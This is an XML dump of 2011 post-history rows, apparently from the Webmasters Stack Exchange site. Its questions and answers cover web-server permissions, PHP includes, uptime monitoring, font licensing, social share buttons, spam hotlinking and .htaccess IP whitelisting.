  <row Id="31621" PostHistoryTypeId="5" PostId="13643" RevisionGUID="565824c4-6411-46e6-9959-86021705ce33" CreationDate="2011-05-11T20:25:59.067" UserId="1134" Comment="added 159 characters in body" Text="So the fourth link in the right column (Board of Trustees Meeting Link) of the [website][1] I'm working is exhibiting some REALLY weird behavior. But only in IE8. When you mouse over it the page scrolls to the top of the page, or sometimes goes blank entirely for a few seconds. &#xD;&#xA;Any idea what's going on here? I've tried turning compatibility mode on and off, using strict/transitional 4.01 html doctype, and html 5 doctype declartions. The link is no different from other links on the page (programmatically). I've examined the code six ways to sunday and I can't figure out what's causing this. Any help would be appreciated.&#xD;&#xA;&#xD;&#xA;EDIT: Solved due to other changes in the page. Still don't know what was actually causing this problem, but it's no longer being exhibited by the webpage. /:&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mfrl.org/index.php" />
  <row Id="31622" PostHistoryTypeId="2" PostId="13645" RevisionGUID="9a69eae5-11fa-44fd-8a2b-592abcb11bdd" CreationDate="2011-05-11T20:44:00.983" UserId="2907" Text="I often use include()/require() for the various areas, so you could have...&#xD;&#xA;&#xD;&#xA;    inlclude($_SERVER['DOCUMENT_ROOT'].&quot;/includes/header.php&quot;);&#xD;&#xA;&#xD;&#xA;In &quot;A&quot; above. Then the logic to show/hide content based on permissions or a session variable (set after logging in) could show/hide various content.&#xD;&#xA;&#xD;&#xA;Something like...&#xD;&#xA;&#xD;&#xA;    If(isset($_SESSION['logged_in'])){ ?&gt;&#xD;&#xA;        &lt;!-- html here to show when logged in --&gt;&lt;?php&#xD;&#xA;    } ?&gt;&#xD;&#xA;    &lt;!-- html that's shown either way --&gt;&#xD;&#xA;&#xD;&#xA;Not sure if that covers what you're looking for. This way, you are checking a session vs. db hits or you hit the db once and set some local vars that filter down into the included files for evaluation." />
  <row Id="31623" PostHistoryTypeId="2" PostId="13646" RevisionGUID="fb794389-d36b-45c5-a66d-fa8a180f94df" CreationDate="2011-05-11T21:01:36.130" UserId="4751" Text="I have a local test server, and I am attempting to write a file with PHP. I am getting a message that the folder (`../uploads/`) does not exist or I do not have permission.&#xD;&#xA;&#xD;&#xA;My directory structure is &#xD;&#xA;&#xD;&#xA;    D:\xampp\htdocs\website\ //&lt;--root&#xD;&#xA;    D:\xampp\htdocs\website\library //&lt;--where script runs&#xD;&#xA;    D:\xampp\htdocs\website\uploads //&lt;--where I'd like to save&#xD;&#xA;I know on a *nix server, I can just chmod the permission to 0777. What do I need to set on my windows box to give apache the ability to write a file?" />
  <row Id="31624" PostHistoryTypeId="1" PostId="13646" RevisionGUID="fb794389-d36b-45c5-a66d-fa8a180f94df" CreationDate="2011-05-11T21:01:36.130" UserId="4751" Text="Setting folder to be writable by apache/php in windows?" />
  <row Id="31625" PostHistoryTypeId="3" PostId="13646" RevisionGUID="fb794389-d36b-45c5-a66d-fa8a180f94df" CreationDate="2011-05-11T21:01:36.130" UserId="4751" Text="&lt;apache&gt;&lt;writing&gt;&lt;save&gt;" />
  <row Id="31626" PostHistoryTypeId="25" PostId="13638" RevisionGUID="1759f64f-fe28-493a-9dbc-92812b3316a8" CreationDate="2011-05-11T21:11:47.160" Comment="http://twitter.com/#!/StackWebmasters/status/68423075212967936" />
  <row Id="31627" PostHistoryTypeId="2" PostId="13647" RevisionGUID="42f6c0c0-d86a-456f-937c-1271ec6b5dfb" CreationDate="2011-05-11T21:22:55.157" UserId="6762" Text="There does not appear to be anything on code.google.com for a javascript based Visualization Geomap. The flash version is the only one. " />
  <row Id="31631" PostHistoryTypeId="17" PostId="13650" RevisionGUID="63e8ae82-8c94-48e3-8fc7-c79c7a108b8c" CreationDate="2011-05-11T22:12:27.717" UserId="-1" Comment="from http://serverfault.com/questions/268789/third-party-site-uptime-checking-services/268791#268791" Text="" />
  <row Id="31632" PostHistoryTypeId="2" PostId="13650" RevisionGUID="fd0f3878-a88b-469c-a03e-d1a6e9683cf4" CreationDate="2011-05-11T22:12:19.180" UserId="138" Text="We use [Basic State][1] and have been quite happy with their services.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://basicstate.com/" />
  <row Id="31633" PostHistoryTypeId="2" PostId="13649" RevisionGUID="bca5c7b5-ad18-48cd-a587-f0d17c467f7a" CreationDate="2011-05-11T22:07:58.220" UserId="118" Text="To monitor my website I currently use Monastic.com (free, but only does checks something like once a day) and a free account on pingdom.com (free, but limited to a single website).&#xD;&#xA;&#xD;&#xA;Are there free services that ping pages on your website and can be used to check for uptime in that manner?  And if there aren't any great free ones available, what are some cheap pay services?  Recommendations?" />
  <row Id="31634" PostHistoryTypeId="1" PostId="13649" RevisionGUID="bca5c7b5-ad18-48cd-a587-f0d17c467f7a" CreationDate="2011-05-11T22:07:58.220" UserId="118" Text="Third-party site-uptime-checking services." />
  <row Id="31635" PostHistoryTypeId="3" PostId="13649" RevisionGUID="bca5c7b5-ad18-48cd-a587-f0d17c467f7a" CreationDate="2011-05-11T22:07:58.220" UserId="118" Text="&lt;monitoring&gt;&lt;websites&gt;" />
  <row Id="31636" PostHistoryTypeId="17" PostId="13649" RevisionGUID="62697d5f-90dc-4d87-b239-4383dd411179" CreationDate="2011-05-11T22:12:27.717" UserId="-1" Comment="from http://serverfault.com/questions/268789/third-party-site-uptime-checking-services" Text="" />
  <row Id="31637" PostHistoryTypeId="2" PostId="13651" RevisionGUID="b1e3c841-5d08-40d9-ba6a-7c56ccb7e4ff" CreationDate="2011-05-11T22:25:52.940" UserId="2798" Text="Check out [Cloudkick][1]. It was recently acquired by Rackspace and has since then made some services free.&#xD;&#xA;&#xD;&#xA;&gt; Now that external checks are free &amp; unlimited for all plans, you can sign up for a developer account and use Ping, HTTP, HTTPS, DNS, TCP, and SSH checks on as many servers as you want, completely free of charge.&#xD;&#xA;&#xD;&#xA;See https://www.cloudkick.com/free-basic-checks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cloudkick.com/" />
  <row Id="31638" PostHistoryTypeId="2" PostId="13652" RevisionGUID="1b30b50d-1335-437c-9666-69a791903814" CreationDate="2011-05-11T23:41:20.943" UserId="7442" Text="I recommend http://mon.itor.us/ as it offers Free and paid services. It has HTTP, DNS, PING, FTP, SMTP, POP and almost all kind of monitoring service. For monitoring any specific page you can add HTTP monitor with the page URL." />
  <row Id="31639" PostHistoryTypeId="25" PostId="13646" RevisionGUID="76644a9a-de06-474a-bc22-cd05911bb213" CreationDate="2011-05-12T00:11:47.097" Comment="http://twitter.com/#!/StackWebmasters/status/68468373075402753" />
  <row Id="31640" PostHistoryTypeId="5" PostId="13649" RevisionGUID="f22eae11-df22-4bf5-8295-96023532fb16" CreationDate="2011-05-12T00:51:24.710" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Alternative to Pingdom website monitoring service](http://webmasters.stackexchange.com/questions/11383/alternative-to-pingdom-website-monitoring-service)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;To monitor my website I currently use Monastic.com (free, but only does checks something like once a day) and a free account on pingdom.com (free, but limited to a single website).&#xD;&#xA;&#xD;&#xA;Are there free services that ping pages on your website and can be used to check for uptime in that manner?  And if there aren't any great free ones available, what are some cheap pay services?  Recommendations?" />
  <row Id="31641" PostHistoryTypeId="10" PostId="13649" RevisionGUID="538610ce-3240-4f38-bb76-6e917b3e84e4" CreationDate="2011-05-12T00:51:24.210" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31645" PostHistoryTypeId="2" PostId="13653" RevisionGUID="4abf0bdf-d083-424a-a992-d81bcf37be6f" CreationDate="2011-05-12T00:53:25.113" UserId="1253" Text="I'm not an expert on this but as long as the directory is not set to be read only, and it usually isn't by default, it should be writable. Are you 100% sure your path is correct? Have you tried the full path instead of a relative path?" />
  <row Id="31646" PostHistoryTypeId="2" PostId="13654" RevisionGUID="ad6e5027-0d87-4c5e-95ff-b97a858f855e" CreationDate="2011-05-12T02:23:37.083" UserId="4424" Text="What are the legalities regarding using licensed fonts for webpages? It will be used for a for a commercial site. I do not want to get into trouble by using it without a license, (although I do hear a lot of complaints about the industry in general), but how severe are the penalties realistically? " />
  <row Id="31647" PostHistoryTypeId="1" PostId="13654" RevisionGUID="ad6e5027-0d87-4c5e-95ff-b97a858f855e" CreationDate="2011-05-12T02:23:37.083" UserId="4424" Text="Using licensed custom fonts for commercial site" />
  <row Id="31648" PostHistoryTypeId="3" PostId="13654" RevisionGUID="ad6e5027-0d87-4c5e-95ff-b97a858f855e" CreationDate="2011-05-12T02:23:37.083" UserId="4424" Text="&lt;legal&gt;&lt;fonts&gt;&lt;copyright&gt;" />
  <row Id="31649" PostHistoryTypeId="2" PostId="13655" RevisionGUID="2ee2d1e2-12be-45d5-9b35-84308c9f1f13" CreationDate="2011-05-12T02:34:47.777" UserId="7337" Text="I'm putting together an online conference program. The conference has hundreds of sessions. &#xD;&#xA;&#xD;&#xA;When adding a Facebook Like button, I'm trying to decide:&#xD;&#xA;&#xD;&#xA;Choice 1: **All the Like buttons should like the conference as a whole.**&#xD;&#xA;&#xD;&#xA;Pluses and minuses:&#xD;&#xA;&#xD;&#xA;* `+` Higher like counts will seem much more impressive to viewers.&#xD;&#xA;* `+` Will reach 30 likes much faster for Insight metrics&#xD;&#xA;* `-` No way to Like an individual Presenter or Session&#xD;&#xA;&#xD;&#xA;Choice 2: **Individual Like buttons for each Presenter and Session.**&#xD;&#xA;&#xD;&#xA;+ `+` People are able to Like an individual Presenter or Session&#xD;&#xA;- `-` Much lower like counts will not seem impressive to viewers.&#xD;&#xA;- `-` Will take much longer to reach 30 likes for a specific Presenter/Session for Insight metrics&#xD;&#xA;&#xD;&#xA;Since the name of the game is high Like numbers, I'm thinking that choice 1 is the way to go: People liking the overall conference. &#xD;&#xA;&#xD;&#xA;But the purist in me would like to be able to Like a specific presenter/session.&#xD;&#xA;But there's no &quot;Like related items&quot; so I can't pass the Like juice to the individual sessions etc. Right? &#xD;&#xA;&#xD;&#xA;Advice? Thanks." />
  <row Id="31650" PostHistoryTypeId="1" PostId="13655" RevisionGUID="2ee2d1e2-12be-45d5-9b35-84308c9f1f13" CreationDate="2011-05-12T02:34:47.777" UserId="7337" Text="Facebook Like button for sessions or entire conference?" />
  <row Id="31651" PostHistoryTypeId="3" PostId="13655" RevisionGUID="2ee2d1e2-12be-45d5-9b35-84308c9f1f13" CreationDate="2011-05-12T02:34:47.777" UserId="7337" Text="&lt;facebook&gt;" />
  <row Id="31652" PostHistoryTypeId="2" PostId="13656" RevisionGUID="a67c7315-7c06-4ef9-8fdb-44e91bbd7e0e" CreationDate="2011-05-12T02:49:17.253" UserId="4502" Text="There's no universal answer to this. You're also not really saying what you mean by &quot;using&quot; the fonts, though I'm going to guess you mean embedding. Even if not, the answer is pretty much the same:&#xD;&#xA;&#xD;&#xA;You need to look at the license you agreed to, from the foundry that produced the font. Some of them have relatively liberal usage clauses dis/allowing use in certain media, some disallow embedding altogether, and some allow it as a sort of add-on to the base license." />
  <row Id="31653" PostHistoryTypeId="25" PostId="13654" RevisionGUID="f8b7a265-99a5-4ba7-924a-e1932cb1553a" CreationDate="2011-05-12T03:11:47.610" Comment="http://twitter.com/#!/StackWebmasters/status/68513673257295872" />
  <row Id="31654" PostHistoryTypeId="2" PostId="13657" RevisionGUID="a1f78c0f-38a6-437f-8ecb-d42787883f8e" CreationDate="2011-05-12T03:55:19.573" UserId="7445" Text="As some people might know, adding share buttons from Facebook and Twitter can cause a page to slow down.  I've seen many sites pass on the common iframe implementations that these sites offer and simply create icons that link to a sharer url for better control of page performance.&#xD;&#xA;http://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2Fwww.cnn.com%2F&amp;t=CNN%26s+website%27&#xD;&#xA;&#xD;&#xA;However, I've also read that Facebook is dropping support for these links.  For example, this link now redirects to the Like Button. http://www.facebook.com/facebook-widgets/share.php&#xD;&#xA;&#xD;&#xA;If the sharer url is no longer a reliable option, what other methods are there besides using 3rd party widgets (like Addthis)?" />
  <row Id="31655" PostHistoryTypeId="1" PostId="13657" RevisionGUID="a1f78c0f-38a6-437f-8ecb-d42787883f8e" CreationDate="2011-05-12T03:55:19.573" UserId="7445" Text="Share buttons vs sharer urls" />
  <row Id="31656" PostHistoryTypeId="3" PostId="13657" RevisionGUID="a1f78c0f-38a6-437f-8ecb-d42787883f8e" CreationDate="2011-05-12T03:55:19.573" UserId="7445" Text="&lt;facebook&gt;&lt;social-networks&gt;&lt;addthis&gt;" />
  <row Id="31657" PostHistoryTypeId="2" PostId="13658" RevisionGUID="f58910e6-eacc-4755-b9da-1085da2dba0b" CreationDate="2011-05-12T02:16:37.833" UserDisplayName="Dan Simmons" Text="I'm posing this question because I still haven't found a uniform method that I'm particularly fond of. Ideally, this combination of directory structure and permissions should suit any web server (don't assume Apache). I should also mention that I'm concerned only with *nix servers.&#xD;&#xA;&#xD;&#xA;I'm primary looking for:&#xD;&#xA;&#xD;&#xA;- Best combination of uid/gid/other (names and octets)&#xD;&#xA;- Relatively secure (doesn't have to be uber paranoid)&#xD;&#xA;- Easy to use / maintain (CMS's are able to self-update, no permission issues)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Just for reference, the current stack I'm working on is Ubuntu 11.04 + Nginx + php-fpm + Wordpress, although the ideal solution should work for any website" />
  <row Id="31658" PostHistoryTypeId="1" PostId="13658" RevisionGUID="f58910e6-eacc-4755-b9da-1085da2dba0b" CreationDate="2011-05-12T02:16:37.833" UserDisplayName="Dan Simmons" Text="When creating a website, what permissions and directory structure?" />
  <row Id="31659" PostHistoryTypeId="3" PostId="13658" RevisionGUID="f58910e6-eacc-4755-b9da-1085da2dba0b" CreationDate="2011-05-12T02:16:37.833" UserDisplayName="Dan Simmons" Text="&lt;linux&gt;&lt;websites&gt;&lt;directory&gt;" />
  <row Id="31660" PostHistoryTypeId="17" PostId="13658" RevisionGUID="6e0eeef4-f35c-46e4-9f40-371c6255a173" CreationDate="2011-05-12T04:11:08.667" UserId="-1" Comment="from http://superuser.com/questions/282371/when-creating-a-website-what-permissions-and-directory-structure" Text="" />
  <row Id="31661" PostHistoryTypeId="6" PostId="13658" RevisionGUID="868ef5be-6021-4155-a5ce-0effd22bcc07" CreationDate="2011-05-12T05:46:52.173" UserId="7446" Comment="edited tags" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;&lt;linux&gt;&lt;directory&gt;" />
  <row Id="31662" PostHistoryTypeId="25" PostId="13658" RevisionGUID="db360396-cd44-4b16-bee6-a741b55c1cde" CreationDate="2011-05-12T06:11:46.977" Comment="http://twitter.com/#!/StackWebmasters/status/68558969836277760" />
  <row Id="31663" PostHistoryTypeId="5" PostId="13620" RevisionGUID="a4ceb877-dc40-4301-8ef2-f2f2bc02f932" CreationDate="2011-05-12T07:03:41.913" UserId="6597" Comment="Fixed typo + LAMP includes Apache and Linux (Ubuntu)" Text="I am running Ubuntu with Apache (LAMP stack). When I changed the webroot from /var/www to /media/data/www, I keep getting 403 Forbidden even after `chmod-ing` the directory + files to 777. What did I do wrong? Also referencing /var/www, I noticed that the directory + files are owned by `root` should that be the case? Shouldn't it be `www-root`? Also if its root, will apache not be able to access it?&#xD;&#xA;&#xD;&#xA;I noticed that I am getting errors like &#xD;&#xA;&#xD;&#xA;&gt; [Wed May 11 11:53:40 2011] [crit] [client 127.0.0.1] (13)Permission denied: /media/data/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable&#xD;&#xA;&#xD;&#xA;but thing is, my web root is `/media/data/jm/www`" />
  <row Id="31664" PostHistoryTypeId="4" PostId="13620" RevisionGUID="a4ceb877-dc40-4301-8ef2-f2f2bc02f932" CreationDate="2011-05-12T07:03:41.913" UserId="6597" Comment="Fixed typo + LAMP includes Apache and Linux (Ubuntu)" Text="Getting 403 Forbidden after changing webroot" />
  <row Id="31665" PostHistoryTypeId="24" PostId="13620" RevisionGUID="a4ceb877-dc40-4301-8ef2-f2f2bc02f932" CreationDate="2011-05-12T07:03:41.913" Comment="Proposed by 6597 approved by 1064 edit id of 267" />
  <row Id="31666" PostHistoryTypeId="2" PostId="13659" RevisionGUID="99328eb6-06f1-44ab-8b41-0c5a85b59a8e" CreationDate="2011-05-12T07:56:36.907" UserId="3797" Text="Do all the things you normally would when selling a product to someone you haven't met, for example on eBay:&#xD;&#xA;&#xD;&#xA;- check references if possible&#xD;&#xA;- Use an escrow service or ask to be paid before handing over the site&#xD;&#xA;&#xD;&#xA;From a sys admin perspective:&#xD;&#xA;&#xD;&#xA;- Change all passwords and hardcoded personal info&#xD;&#xA;- Remove all trust relationships with your own servers&#xD;&#xA;- Announce the change of ownership on the site&#xD;&#xA;&#xD;&#xA;And contractually:&#xD;&#xA;&#xD;&#xA;- Ensure the contract of sale passes all liability on to the new owners&#xD;&#xA;- Specifically state that there is no support or warranty&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(caveat: I am not a lawyer, but these things seem to be good sense)" />
  <row Id="31667" PostHistoryTypeId="2" PostId="13660" RevisionGUID="3844d356-348d-4263-9dc2-256b15c6c1a1" CreationDate="2011-05-12T08:29:37.557" UserId="5739" Text="I always supply the website on a disk so the customer has something tangible to hold in their hands. This also doubles up as a nice backup for them in case they make any mistakes later on.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31668" PostHistoryTypeId="2" PostId="13661" RevisionGUID="205928f7-22ab-47f2-bec0-23a3528fcb23" CreationDate="2011-05-12T08:45:24.947" UserId="6597" Text="Permissions can be granted on owner, group and others.&#xD;&#xA;&#xD;&#xA;First, decide what permissions are necessary and which users are involved:&#xD;&#xA;&#xD;&#xA;- Nginx running as `www-data` (group `www-data`): read-only&#xD;&#xA;- php-fpm running as `www-data` (group `www-data`): read and write  &#xD;&#xA;  (if you'd like to allow operations like `chmod`, you should run `php-fpm` as the SFTP user. Beware: if someone can execute command on your server from PHP, he/she will be able to modify your files too, like `.bashrc`!)&#xD;&#xA;- sftp / SSH: full permissions&#xD;&#xA;- Other users: no read and write permissions&#xD;&#xA;&#xD;&#xA;Only the owner of a file / directory can change permissions and it's preferred to give the SSH user this ownership. Why? Because it's idiot that you cannot modify your own files in the webroot and doing everything as root is a bad idea.&#xD;&#xA;&#xD;&#xA;Regular users cannot do change the group of a file / directory, only root can do that. A special SETGID bit makes every file and directory in a directory inherit the group. With the right permissions set, both php-fpm and the SSH user can modify files.&#xD;&#xA;&#xD;&#xA;- Owner: your SSH user&#xD;&#xA;- Group: `www-data`&#xD;&#xA;- Permissions for files: rw-rw---- (0660)&#xD;&#xA;- Permissions for directories: rwxrwx--- (2770) The execute bit (2) is needed to descend into a directory. Execute `info coreutils 'file permissions'` to get more information about this bit&#xD;&#xA;- `umask 007` so that the owner and group can write to files / directories and other users do not get permissions.&#xD;&#xA;&#xD;&#xA;Assuming that your webroot is located at `/var/www/website1`, change the owner/group and permissions by running:&#xD;&#xA;&#xD;&#xA;    sudo chown -R your_ssh_user_here:www-data /var/www/website1&#xD;&#xA;    sudo find /var/www/website1 -type f -exec chmod 660 {} \;&#xD;&#xA;    sudo find /var/www/website1 -type d -exec chmod 2770 {} \;&#xD;&#xA;&#xD;&#xA;Add yourself to the `www-data` group:&#xD;&#xA;&#xD;&#xA;    sudo usermod -a -G www-data your_ssh_user_here&#xD;&#xA;You need to re-login to become a member of the group.&#xD;&#xA;&#xD;&#xA;Additional configuration is needed to ensure that websites cannot access other files if `php-fpm` is running as the same user." />
  <row Id="31669" PostHistoryTypeId="25" PostId="13655" RevisionGUID="c977c97a-98c3-4a39-979a-c501a63a7dd9" CreationDate="2011-05-12T09:11:48.660" Comment="http://twitter.com/#!/StackWebmasters/status/68604275038748672" />
  <row Id="31670" PostHistoryTypeId="17" PostId="13663" RevisionGUID="8345b1fd-95d3-48fd-a5c9-1ab93a18eaa3" CreationDate="2011-05-12T10:20:39.027" UserId="-1" Comment="from http://stackoverflow.com/questions/5966632/block-images-on-russian-domain-ru-via-htaccess/5966956#5966956" Text="" />
  <row Id="31671" PostHistoryTypeId="2" PostId="13663" RevisionGUID="63393430-a33f-4e31-b889-4660a598b882" CreationDate="2011-05-11T15:41:29.923" UserId="5684" Text="You can't do that with .htaccess, as requests for those images don't come from your server. Instead write a filter on your comments that either checks for .ru and then blocks the comment, or use someone elses code to filter comments.&#xD;&#xA;&#xD;&#xA;The Askimet plugin is pretty good at preventing spam – have you got that installed?" />
  <row Id="31672" PostHistoryTypeId="2" PostId="13662" RevisionGUID="9a85a9e7-be03-43fd-958c-d7ffbe48c635" CreationDate="2011-05-11T15:19:42.140" UserDisplayName="Shaun" Text="I have a WordPress website which accepts anonymous comments and images. We are receiving spam in the form of Russian porn, with images hotlinked from websites on the Russian domain .ru&#xD;&#xA;&#xD;&#xA;As we are unlikely to ever need to legitimately link to a Russian picture, I thought the easiest way to not have to look at this in the spam folder would be to use .htaccess to redirect any image on an .ru domain to something that doesn't exist.&#xD;&#xA;&#xD;&#xA;Is this possible? What would I need to add to my .htaccess?" />
  <row Id="31673" PostHistoryTypeId="1" PostId="13662" RevisionGUID="9a85a9e7-be03-43fd-958c-d7ffbe48c635" CreationDate="2011-05-11T15:19:42.140" UserDisplayName="Shaun" Text="Block images on Russian domain .ru via htaccess?" />
  <row Id="31674" PostHistoryTypeId="3" PostId="13662" RevisionGUID="9a85a9e7-be03-43fd-958c-d7ffbe48c635" CreationDate="2011-05-11T15:19:42.140" UserDisplayName="Shaun" Text="&lt;image&gt;&lt;htaccess&gt;&lt;spam&gt;&lt;hotlinking&gt;" />
  <row Id="31675" PostHistoryTypeId="17" PostId="13662" RevisionGUID="8dba0a66-1560-4366-b9c4-1ab2adabbdab" CreationDate="2011-05-12T10:20:39.027" UserId="-1" Comment="from http://stackoverflow.com/questions/5966632/block-images-on-russian-domain-ru-via-htaccess" Text="" />
  <row Id="31676" PostHistoryTypeId="2" PostId="13664" RevisionGUID="5d8e3266-5237-419d-b8d3-f5a926d4e6d0" CreationDate="2011-05-12T10:46:22.750" UserId="7198" Text="You can still use the following link formats to share pages*, being sure to escape the URLs:&#xD;&#xA;&#xD;&#xA;**Twitter:**&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://twitter.com/home?status=Your%20message%20here:%20http://yourshorturl.com&quot;&gt;Share on twitter&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;**Facebook:**&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.facebook.com/sharer.php?u=http://yourshorturl.com&amp;t=Your%20message%20here.&quot;&gt;Share on Facebook&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That said, it's worth adopting the official widgets that each company provide instead of using your own solution because:&#xD;&#xA;&#xD;&#xA; 1. It standardises the UI across multiple sites and presents a button that visitors will be familiar with (and therefore more likely to click).&#xD;&#xA;&#xD;&#xA; 2. The official widgets load remote JavaScript files from Facebook/Twitter. These will be cached in the visitor's browser for faster load on the next site that uses them, so using the official widgets presents little cause for slow down.&#xD;&#xA;&#xD;&#xA; 3. It's harder to display how many times a link was shared without the widget; this information is useful both to site owners and in encouraging visitors to share already popular links (the so-called 'social proof' effect).&#xD;&#xA;&#xD;&#xA;Major media websites (e.g. &lt;a href=&quot;http://www.guardian.co.uk/science/2011/may/08/welcome-to-wikimaths&quot;&gt;The Guardian&lt;/a&gt;) have adopted the official widgets; if it's good enough for them, there seems little benefit to me in hacking your own together.&#xD;&#xA;&#xD;&#xA;**You mention reading that Facebook were dropping support for the above format, but don't say where you read this; I couldn't find any mention of this on their site or elsewhere. I think it's just that Twitter and Facebook don't share the above methods publicly because they'd rather you put a widget with their logo on your site.*&#xD;&#xA;" />
  <row Id="31678" PostHistoryTypeId="2" PostId="13666" RevisionGUID="9f5e1df7-2a8a-47e7-9b7b-8d3011198b89" CreationDate="2011-05-12T11:20:53.407" UserId="7198" Text="Robots.txt is an advisory protocol; no-one *has* to follow it, and several spiders don't (e.g. those used by Internet archivists like the [archive team][1].)&#xD;&#xA;&#xD;&#xA;As such, you might like to consider whitelisting the IP addresses that will be accessing your real phpMyAdmin area and excluding all others, rather than blacklisting all those who hit your honeypot. The simplest way to do this if you have access to the phpMyAdmin directory is by including a .htaccess file with the following rules:&#xD;&#xA;&#xD;&#xA;    order deny,allow&#xD;&#xA;    deny from all&#xD;&#xA;    # allow my home IP address&#xD;&#xA;    allow from XX.XX.XXX.XXX&#xD;&#xA;    # allow my work IP address&#xD;&#xA;    allow from XX.XX.XXX.XXX&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archiveteam.org/index.php?title=Robots.txt" />
  <row Id="31679" PostHistoryTypeId="2" PostId="13667" RevisionGUID="752e043d-1311-4f1c-b1c1-0b879610d57f" CreationDate="2011-05-12T11:25:48.650" UserId="1643" Text="Why not do both? You probably need to make it clear for the session/presenter buttons that they are liking just that session or presenter not the whole thing." />
  <row Id="31680" PostHistoryTypeId="2" PostId="13668" RevisionGUID="68505c0a-8590-4b11-bd60-7711e17d5f54" CreationDate="2011-05-12T11:41:41.767" UserId="7198" Text="Like buttons should refer to the page (and URL) that the user's currently visiting.&#xD;&#xA;&#xD;&#xA;If they're on a page detailing general conference info, the like button should point to the conference URL, and clicking it will 'like the conference'.&#xD;&#xA;&#xD;&#xA;If they're on a page detailing specific speaker info, the like button should point to the speaker details URL, and clicking it will 'like the speaker'.&#xD;&#xA;&#xD;&#xA;Any other behaviour (e.g. a like button next to a speaker that likes the conference URL, or a like button next to a conference that likes a speaker URL) might give unexpected results. For that reason, I'd also suggest avoiding more than one Like button on a page; it should be clear what the visitor's liking, and multiple buttons could confuse that." />
  <row Id="31683" PostHistoryTypeId="6" PostId="8948" RevisionGUID="79751d9e-54d9-4e95-94eb-34d96eb99ab3" CreationDate="2011-05-12T11:47:18.240" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;looking-for-a-script&gt;" />
  <row Id="31684" PostHistoryTypeId="2" PostId="13669" RevisionGUID="b92e07d9-aac2-466e-a377-87c575052530" CreationDate="2011-05-12T12:11:39.713" UserId="7198" Text="You can find out what pages Google indexes by searching Google for &quot;site:yoursite.com&quot; or &quot;site:www.yoursite.com&quot; if you use the www prefix. You could compare this list with your sitemap to discover which pages were dropped.&#xD;&#xA;&#xD;&#xA;There are paid tools available, like the &lt;a href=&quot;http://www.index-checker.com/index.php&quot;&gt;Index Checker,&lt;/a&gt; that claim to find which of your pages are indexed and which aren't. (Haven't used it, so I can't offer a personal recommendation.)" />
  <row Id="31685" PostHistoryTypeId="25" PostId="13637" RevisionGUID="7a34d07a-d1f4-48eb-89a6-815dbcbab370" CreationDate="2011-05-12T12:11:49.113" Comment="http://twitter.com/#!/StackWebmasters/status/68649575010930688" />
  <row Id="31686" PostHistoryTypeId="2" PostId="13670" RevisionGUID="c4512b01-26b4-43ed-8271-4485b24f1ce8" CreationDate="2011-05-12T12:18:49.987" UserId="5346" Text="i really expect someone to help me with my problem as stated below.&#xD;&#xA;&#xD;&#xA;i started learning website making by having tutorials from w3schools.com but after doing taking the HTML tutorials i dont think i really can do anything with it. maybe i dont know everything about HTML yet. i now the online tutorials are not enough but what i need you guys to tell me is that how can i learn making some nice websites. i have vacations for two months now and i think it would be the best time for me to learn making websites as i really love to be a website developer. now i would like to start from the scratch. i know some C language( though i know it will not help me). So tell me from where shall i learn HTML and what all things shall i learn after that and in what order. if you can also help me with the material (let it be books or online tutorials). but i would like to know how can i gain confidence that i can make some websites as just learning online tutorials doesnt help me much.. i also tried some video tutorials but in that too, they will just tell me some of the functions and not all. so what am i supposed to do.. just know a limited functions as they want me to know in video tutorials or do something else.&#xD;&#xA;kindly help.&#xD;&#xA;reply is awaited. thanks." />
  <row Id="31687" PostHistoryTypeId="1" PostId="13670" RevisionGUID="c4512b01-26b4-43ed-8271-4485b24f1ce8" CreationDate="2011-05-12T12:18:49.987" UserId="5346" Text="help me being the next zuckerberg" />
  <row Id="31688" PostHistoryTypeId="3" PostId="13670" RevisionGUID="c4512b01-26b4-43ed-8271-4485b24f1ce8" CreationDate="2011-05-12T12:18:49.987" UserId="5346" Text="&lt;web-development&gt;&lt;web&gt;" />
  <row Id="31689" PostHistoryTypeId="6" PostId="13662" RevisionGUID="50dd77b8-dcba-438c-8bd8-015dd79a0e2e" CreationDate="2011-05-12T12:23:17.410" UserId="1643" Comment="edited tags" Text="&lt;wordpress&gt;&lt;htaccess&gt;&lt;spam&gt;&lt;image&gt;&lt;hotlinking&gt;" />
  <row Id="31690" PostHistoryTypeId="2" PostId="13671" RevisionGUID="f2dcd203-8fb6-4cb5-9d73-e3c6866fc59a" CreationDate="2011-05-10T21:08:12.997" UserDisplayName="Scott" Text="Is there a way I can track actual sales on purchases utilizing Promo or Discount Codes obtained through my site?  My site will link to e-commerce sites where users can use those promo codes on their purchases to save money.  My site will not actually be selling any items, it is all referrals to other sites.  I want this to be done outside of any 3rd party commission platform such as Commission Junction or LinkShare.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="31691" PostHistoryTypeId="1" PostId="13671" RevisionGUID="f2dcd203-8fb6-4cb5-9d73-e3c6866fc59a" CreationDate="2011-05-10T21:08:12.997" UserDisplayName="Scott" Text="Track Promotional Code Sales" />
  <row Id="31692" PostHistoryTypeId="3" PostId="13671" RevisionGUID="f2dcd203-8fb6-4cb5-9d73-e3c6866fc59a" CreationDate="2011-05-10T21:08:12.997" UserDisplayName="Scott" Text="&lt;tracking&gt;" />
